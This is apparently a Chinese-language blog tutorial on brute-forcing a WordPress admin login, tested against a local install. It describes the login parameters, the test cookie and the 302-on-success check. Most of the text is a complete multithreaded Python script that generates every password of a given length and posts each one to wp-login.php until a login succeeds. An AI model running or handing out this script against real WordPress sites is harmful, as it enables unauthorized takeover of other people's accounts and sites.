搭建了一個本地wordpress,寫一個基於多執行緒非同步I/O的暴力破解
1 測試
提交錯誤的表單資料時,檢視請求引數
登入時傳送的cookie
2 登入分析
經過多次測試,發現無論是輸入正確的密碼還是錯誤的密碼,這些登入需要提交的引數是不會改變的。並且只要登入成功,伺服器一定會返回包含sessionid的cookie。整理後的傳送引數如下:
引數
log:使用者名稱
pwd:密碼
wp-submit:Log In(定值)
redirect_to:http://localhost/wordpress/wp-admin
test_cookie:1(定值)
Cookie
wordpress_test_cookie:WP Cookie check(定值)
3 思路分析
口令集:
暴力破解一般是使用口令字元的全部排列組合,所使用的口令集可使用itertool模組的笛卡爾積生成方法(product)來生成。當然這樣計算開銷比較大,適合口令長度比較小的情況。當然也可以使用字典,那麼就可能需要結合使用者資訊定製字典。
資料結構:
使用佇列來儲存口令集是個很不錯的選擇,能夠極大得降低資料讀取的複雜性。
模擬登陸:
通過requests模組傳送post請求,來模擬登陸,傳送的引數與cookie依照上面的分析來傳送即可。
登陸:
登陸失敗,只是本地重新整理,所以響應碼200。登陸成功後,跳轉到管理員後臺,返回響應碼302。
優化破解效能:
可使用非同步I/O來進行破解過程的優化,待實現。
4 原始碼
# !/usr/bin/env python
# -*- coding:utf-8 -*-
import requests
import sys
import itertools
import Queue
import threading
import time
class Bruter(object):
def __init__(self, user, characters, pwd_len, threads):
self.user = user
self.found = False # 存放破解結果,破解成功為True,失敗為False
self.threads = threads
print '構建待測試口令佇列中...'
self.pwd_queue = Queue.Queue()
for pwd in list(itertools.product(characters, repeat=pwd_len)):
self.pwd_queue.put(''.join(pwd))
self.result = None
print '構建成功!'
def brute(self):
for i in range(self.threads):
t = threading.Thread(target=self.__web_bruter)
t.start()
print '破解執行緒-->%s 啟動' % t.ident
while (not self.pwd_queue.empty()): # 剩餘口令集判斷
sys.stdout.write('\r 進度: 還剩餘%s個口令 (每1s重新整理)' % self.pwd_queue.qsize())
sys.stdout.flush()
time.sleep(1)
print '\n破解完畢'
def __login(self, pwd):
url = 'http://localhost/wordpress/wp-login.php'
values = {'log': self.user, 'pwd': pwd, 'wp-submit': 'Log In',
'redirect_to': 'http://localhost/wordpress/wp-admin', 'test_cookie': '1'}
my_cookie = {'wordpress_test_cookie': 'WP Cookie check'}
r = requests.post(url, data=values, cookies=my_cookie, allow_redirects=False) # 禁用重定向,以便後邊判斷登陸狀態
if r.status_code == 302: # 登陸狀態判斷
return True
return False
def __web_bruter(self): # 破解子執行緒函式
while not self.pwd_queue.empty() and not self.found:
pwd_test = self.pwd_queue.get()
if self.__login(pwd_test):
self.found = True
self.result = pwd_test
print '破解 %s 成功,密碼為: %s' % (self.user, pwd_test)
else:
self.found = False
if __name__ == '__main__':
if len(sys.argv) != 5:
print '用法 : cmd [使用者名稱] [密碼字元] [密碼長度] [執行緒數]'
exit(0)
b = Bruter(sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv[4]))
b.brute()
print b.result